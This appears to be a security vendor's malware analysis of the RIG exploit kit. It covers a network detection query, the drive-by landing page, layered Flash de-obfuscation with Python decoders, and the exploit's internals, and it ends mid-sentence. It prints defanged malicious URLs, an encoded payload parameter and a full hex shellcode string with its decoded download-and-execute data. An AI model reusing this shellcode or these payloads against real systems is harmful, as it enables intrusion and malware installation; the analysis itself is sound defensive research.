One of the most well-known exploit kits in the crimeware underground marketplaces, clearly dominating the overall exploit kits category during the last several months, is no other but the RIG EK.

Many words have been poured on RIG’s close ties to Ransomware peddlers, a constantly growing threat which without a doubt served as one of the most successful revenue sources for the fraudsters during the past two years, however today we would like to explore a different angle of the RIG EK.

Today we chose to focus our attention on the general RIG exploitation delivery and implementation method, rather than focusing on any explicit exploit as these components (landing page, Javascript obfuscation and Shellcode) are shared and used by the different RIG gates regardless of the exploited vulnerability.

Network Detection

How can one identify and detect RIG EK activity based on network traffic analysis?

  • You can see below how the malicious traffic looks in RSA NetWitness® Logs and Packets investigator after applying the appropriate query. This query can be used to detect the traffic upon the execution of the exploit, assuming the appropriate meta keys are enabled: “service = 80 && action = 'get' && query contains 'fPrfJxzFGMSUb-'”

    pastedImage_1.png

    pastedImage_1.png

  • Indicators of compromise – RIG EK related domain names and IP addresses were added to Live, you can find them under the threat description: ‘rig-ek’.
  • A network parser will be released at a later date.

The Hidden Mechanics

RIG EK uses a traditional drive-by landing page in order to compromise the victim’s computer.

The drive-by infection can be broken down to the following 4 stages.

Stage 1 - Delivery

The victim enters a rigged landing page, the victim’s browser sends an http request and receives the landing page in response.

pastedImage_3.png

The seemingly innocent page contains some Javascript code which injects a hidden iframe.

pastedImage_4.png

which contains the following Javascript injects an iframe with content from a different page.


‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍

The iframe’s src property is set to "hxxp://acc.ARABICDESSERT.CO/?xXmNd7GZJBvGDoQ=l3SKfPrfJxzFGMSUb-nJDa9BMEXCRQLPh4SGhKrXCJ-ofSih17OIFxzsmTu2KV_OpqxveN0SZFSOzQfZPVQlyZAdChoB_Oqki0vHjUnH1cmQ9laHYghP7ZGdFbNt3lqhmbgdeZohk0eEuGBRxe9LVwkT6A0Wm6rNBKqE" which is the next stage’s url.

The second http request receives a gzipped page as a response.

pastedImage_5.png

After decompressing the gzipped html we get an html page with obfuscated Javascript.

pastedImage_6.png

The Javascript extracts the base64 blob and removes all instances of “fdffghe” in the string, we are able to decode it and reveal the next Javascript which downloads and embeds a flash object into the iframe’s html body.

pastedImage_7.png

This Javascript embeds a Flash object in the page and passes some data to the Flash object through a parameter named 'iddqd'.

The parameters passed to the function ‘sdvbv’ are:

  • fu - a url to .swf file "hxxp://kd67.prmhohzsl.top/index.php?xHiNdbSbKB_NC4c=l3SMfPrfJxzFGMSUb-nJDa9GP0XCRQLPh4SGhKrXCJ-ofSih17OIFxzsqAycFUKCqrF4Qu4Fah2h1QWScEZrmYRPFgVIove8hQLfyhSWkpGC_RKFNQ4T_JeRQeAyiw70xuJHdJl1zhfQ62JUxOlOQFFT6wkZjuyeV7PC7kpzXlBxFlvbJN0sohfQDmK1JDEqi_C4STJ-1g"

  • fd - a parameter which is passed to the .swf in the FlashVars dictionary with the key ‘iddqd’ "N3NNY3XiWPWNWeWhXiW3NNYMXhXhXdNOOXOXYNYhNQNiOYXdXfYPYMYXYMXOXeYWOYXhYXXdOXYLYYYhYgXMOYXdYMXdNXXMWMYLWYYhYfPeYfWNWfPXWYWeNhYeNPYWNePeWPYQPdXfYQWOXMXOWQWiWPPePgYfOPYYWOWhY3NLWiPdNdPMWePfP3WWPdYMNhPeWiYMWNXfPMWeWOOPYXYQPeYLYMN3NiWXWLWQXMXOXeX3W3XLYeWQPgWNWeX3XfWQNhP3XgNhWQY3YMNfYMN3P3PiPeYeWgPOXfYPPLPfPdWQYiPQWLYXXQYgNMYMP3WWYQXLYMPePiYNXdWiWePXPfWNWQWYP3NhPhPXWOYgPfP3YgW3XLYLXiNiNdXMXgWOWMYhWOYWN3XOYMYQP3NQNfWOPgXMWXYWWXP3WQWQPhNQXiYNPOYOXgXLYgPQNiPdWeNiYNXdXOPMYWWfXQWgP3NiYfWOWYNdXeYXYMYQP3WhYPWNN3WOWhWgX3YLPXWeNLPfYOYMNfYNWNWPOQYhYQYiXeYhYQNPNfMdMdMdLLLLLLLL"

Finally the last http request is sent to the server and the response is the flash object itself which is downloaded and embedded in the html.

pastedImage_10.png

the .swf allows the attackers to execute code on the victim’s machine exploiting a UAF vulnerability in Flash, the .swf also contains the download and execute payload except for the URL for the malware’s executable file which is passed to the Flash object as a parameter through the iddqd argument (In encoded format) as we will see later.

Stage 2 – Peeling The Onion

The exploit is wrapped in multiple layers of obfuscation, in this stage we will peel off these layers until we get to the final .swf that contains the exploit’s code.

The first .swf file contains ActionScript and some embedded binary data.

pastedImage_11.png

pastedImage_12.png

The ActionScript uses zlib to decompress the embedded binary data and performs a loop to decode the data using XOR with a value of 0 (32 % 8 = 0) which means the data actually stays without any change (it is unclear if this method is supposed to confuse or slow down researchers or it originates from a misconfiguration of the exploit builder).

pastedImage_15.png

We used this small piece of Python code to decompress the data:

from zlib import decompress
data = open('data2.bin', 'rb').read()
decompressed = decompress(data)
open('decoded1.bin', 'wb').write(decompressed)
‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍

After decoding the embedded binary data we find another .swf, this time with a more complex obfuscation method and some evidence of a commercial obfuscator called  "SWFLock".

pastedImage_1.png

pastedImage_2.png

If we look closely at the code it is evident that we have a base64 implementation.

pastedImage_3.png

In this next part here we can see how the next .swf is decoded first by using zlib (again) to decompress the data, then slicing the decompressed data into two parts and then base64 decoding the first part and using the second part as a XOR key for the decoded output.

pastedImage_4.png

pastedImage_5.png

Once again we use Python to overcome this obfuscation.

from zlib import decompress
from base64 import b64decode

data = open('data2.bin', 'rb').read()
decompressed = decompress(data)
b64encoded = decompressed[:-16]
key = decompressed[-16:]
b64decoded = b64decode(b64encoded)

xorDecoded = ''
for i in xrange(len(b64decoded)):
     xorDecoded += chr(ord(b64decoded[i]) ^ ord(key[i % len(key)]))

open('decoded2.bin', 'wb').write(xorDecoded)
‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍

Stage 3 – The Exploit

This is the final .swf and this time it is very obfuscated with very annoying names for classes, variables, functions etc. and more than 20 classes and 5 embedded binary data objects with hints of RC4, AES and other encryption algorithms as well as other tricks.

pastedImage_7.png

After analyzing each one of the classes and refactoring most of the compiled code to meaningful naming convention, bit by bit things start to make some sense.

Each one of the binary data objects is represented by a class, and the decryption and access to the data is managed in 2 other classes which we conveniently named dataBin1 and dataBin2.

The method we renamed to getValue, is used to decrypt all values on first access and then returns the value for the index of its argument, XOR-ed with a class member’s value which we renamed to xorValue, and is initialized with a fixed value of 0x93806237.

pastedImage_8.png

dataBin1.values : Array {
     0 : "VirtualProtect"
     1 : "writeUnsignedInt"
     2 : "0x"
     3 : "dows"
     4 : "clear"
     5 : "littleEndian"
     6 : "addedToStage"
     7 : "timerComplete"
     8 : "t"
     9 : "activex"
     10 : "win "
     11 : "plugin"
     12 : " 8.1"
     13 : "domainMemory"
     14 : "param"
     15 : " 8"
     16 : "win"
     17 : "kernel32.dll"
     18 : " 10"
}

dataBin2.values : Array {
          0 : "za1sdLMNOPWXY3defghiQRSTUVjklmnABC012DEFopq456789abcrstuvwxyzGHIJKZ"
          1 : "za1sd0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
          2 : "za1sd0x"
          3 : "littleEndian"
          4 : "iddqd"
          5 : "60eb1158b9d1040000498034081985c975f7ffe0e8eafffffff11f19191978f0dc1d191998f5c51919194a4c4f2ac24ea04b087652de5d3d016c6b7574de5d3d057677377d7fde5d3d39757591453d3bde5d3d3d787d6f78de5d3d3169702a2bde5d3d35377d757591453d29f1851a1919a00b7b3067905d3d4df1971a1919a0dae42868905d3d79f1991a1919a0728dc2e6905d3d7df16b1a191992e1a0bc01234390653d71f17b1a191992e9a034363f66906d3d6df14b1a1919a02f5a2f4f905d3d61f15d1a1919a0a5f832f3905d3d65f12f1a1919a0dd7cb054909d3d99191919f13c1a1919a0dacb1cfc909d3d9d191919f10d1a1919a0538dafd0909d3d91191919f11a1a1919a056f5ce4c909d3d95191919f1eb1b1919909d3d89191919945d3d0149e6cf945d3d3d49e6cfa09f8b3363f1ca1b1919a01ba9709d909d3d81191919f1db1b1919a033a4d3b8909d3d85191919f1a81b1919909d3db9191919f16e1a191992f190753d2d935ce5efc9915d3d0a90453d2190453d2590453d59731d7119091919711d1c19194ae6ce92e1937d3d0a92cc2aef9486191d191992d632ce931d132bdd91186d135f5898e7191d19196ff49cef169d3918191992de2ad09921196d01905d9521930999e3226d1e599dcb6cedf212df191959f21c9a7d952119589ae01a6bc192753d21935c1925286d11252b169cf8191919924d3d254ae66d3d5d94553d45f1c319191940409cd9169dbd191919935c192528169c89191919735d2acb44904d3d0d92d4949d3db1191919910959506ce3730940945d3d5d910959506ce3945d3d0d49719219191973e690b53dad191919e68d3dbd191919945d3d5d49949d3db5191919492ad9494949494949494ae66d3d25e68d3dd11919199a653d0d196d11e66d3d0de64d3d7d9a653d51196d11e66d3d51e64d3d7d9a653d5d196d0ae66d3d5de64d3d7df210252b6c1c4ae64d3d6192753d2d71199919192ac25c4a1af74e90753d59e64d3d6992653d71f0bbe7e6e64647444298ddc5191919da9af5094a4c4f4e731d7119091919711d18191992f392c02ae64e90753d3d90453d35e64a0d92e94f711d181919e64a21e66d3d314e4e4fe64a2571199919194e4fe64a094e4ee66d3d29e66d3d294ee64a559cd9169ca41919194e7199191919731a4e731871191919d9e66d3d59e64a3592e99ae7e6169d821919194e4fe64a29905d3d099cd9169d9f1919199cf46d66996419196d604ce60a731d7119091919e66d3d01905d3d3d4ee64a0d4e92f1945d3d0d49e66d3d014c4fe64a3d925d3d0992d69cd96d3192453d0d92ce22d16a03224d3d016a09931d03291d30925d3d095b5822d16bf322d16bf992453d054e4e4e4fe64a2d4e945d3d0d49e66d3d014c4fe64a3171199919194e4ce64a092ae65e4fe64a1592de464744429add09da9af5097db8291919194a9259154c4f9269154e924f0190553d019ccb169d941919192af4925b259267299245096192d490453d099cc26d73d8d014931e257816a7d9651a9ad8f99ade1b1ad17f20366cfe925d0a391adb9a650a011992e46f5b92c492311af39ad91d905d3d05935c19d8d21416a7d91ac15c935c199dd96ce990453d0d925d3d0d92453d091ad8225d3d016d3c925d3d055e73194422650a016ba7922f924f019ccb169c6ce6e6e62ad9464744429add09da925d0a3d941d6116ae1509925d0a05941d91921d091adbf2c6f119191919419ad913dadae6e6e6e6"
}
‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍

The entrypoint for the .swf is the Main function in Main class, this type of Main function is pretty standard for AS3.

pastedImage_9.png

The Main function calls init() which is first reading the value for ‘iddqd’ that was passed from the HTML through the embedded .swf object’s FlashVars in the landing page’s HTML.

pastedImage_10.png

Next the parameter string is decoded with the following logic which we replicated using Python.

pastedImage_11.png

def decode(iddqd):
     key = "LMNOPWXY3defghiQRSTUVjklmnABC012DEFopq456789abcrstuvwxyzGHIJKZ"
     result = ''
     for i in iddqd:
          result += "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"[key.find(i)]
     return result

decode('N3NNXQXiWPWNWeXiXiW3NNYMXhXhXdNOOXOXYhYQOYYLYYYhYLY3XeXiYgYgXhXeY3YYYhYiXfYXYeYgXfXLOYYeYXYPOXYLYYYhYgXMOYXdYMXdNXXMPMYPWYYhNiWiPOWWXMNeWYWeWLYeNPYWNePeWPYQPdXfYQWOXMXOWQWiWPPePgYfOPYYWOWhY3NLWfWPWgPMWePfP3WWPdYMNhPeWiYMWNXfPMWeWOOPYXYQPeYLYMN3NiWXWLWQXMXOXeYPPhXgNfWNPQPXWXXdX3XMXQYgWYNdPePOWQPeWXXOP3YQPOPdPQP3YWXLPOW3YhWeYMYXWfPXWXX3YNYLNdXQWMYOPgYYWMN3YeYPP3NLYWY3WMPLYiYMPdNiPOYfWhWgNiYNNgYOYiXgYPXMNiWLPhYeNMYMNfXMWgWNWQNQWhYhPiYYOPWPPgPgPQWPPhNhXiWYWMYWWNNfYgWfWNX3WNXdNdWYNQPfYiWfYYWgWfPXWeYfWOP3YWX3XiOPYQWgWePhNQPdPMYWNgYiXQNfXdWMYYNhYXYLYgPiPMPXPdPOXMYYXdNMXdNeYWWPOQYhYQYiXeYhYQNPNfNLNdNgMdMdMdLLLLLLLL')
‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍

The returned string value of: '28226f6e54525a6e6e5822716d6d692336367d7f3770777d70786a6e7c7c6d6a78777d7e6b767a7c6b60377a76743670777d7c613769716926614174577d2e5e4355612a575a507a24752a4a547f496b7f5361635f5e544a4c7b3477535d78205b545c415a4b485549712d4a5e71526b415a5334767f4a7071282e56505f61636a744d6c2b524f46566968616f7c57294a435f4a5663487f43494f48756043587d5a71765b4656687270296f51734c7751287a744820757851407e71492e437b5d5c2e722c737e6c74612e504d7a21712b615c525f2f5d7d4e7734544c4c4f544d2d6e575175522b7c5b5268526929572f4b7e5b775c5b465a7b534875686e347f5c5a4d2f4941752c7e6f2b6951772d76707c4e4146494361776921692a75543f7d7f7e6a7d7f242b20292c19191900000000' is then concatenated at the end of the shellcode string found in dataBin2[5] and sent to method_58 as an argument.

pastedImage_12.png

The shellcode string is then unhexlified and sent to a class we called enumerateExploitable, as we can see in its constructor the shellcode is saved in a class member variable, right before the enumerateSystem() method is in

Topic: